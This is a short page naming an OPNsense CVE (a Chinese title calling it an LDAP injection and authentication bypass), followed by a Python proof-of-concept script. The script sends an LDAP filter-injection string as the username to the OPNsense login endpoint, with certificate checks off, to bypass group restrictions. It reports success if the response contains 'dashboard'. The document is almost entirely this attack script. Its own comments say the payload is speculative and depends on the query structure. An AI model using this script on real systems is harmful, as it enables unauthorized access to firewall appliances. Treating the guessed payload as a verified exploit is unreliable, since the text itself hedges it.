CVE-2026-34578 OPNsense LDAP注入及认证绕过漏洞

import requests # Target URL (example) target_url = "https://<opnsense-ip>/index.php?rpc=login" # Payload to bypass group restriction (e.g., logic injection) # The payload attempts to close the existing filter and inject a always-true condition or bypass specific group checks # Note: The exact payload depends on the specific LDAP query structure, but a common bypass involves logic modification. # Example: *)(uid=*))(| which might try to match uid or make the filter always true depending on implementation. # For enumeration: * # For bypass simulation: username_payload = "admin*)(memberOf=*))(|" password = "known_password" payload = { "username": username_payload, "password": password } try: response = requests.post(target_url, data=payload, verify=False, timeout=10) if response.status_code == 200 and "dashboard" in response.text: print("[+] Potential bypass successful!") else: print("[-] Login failed or payload incorrect.") except Exception as e: print(f"Error: {e}")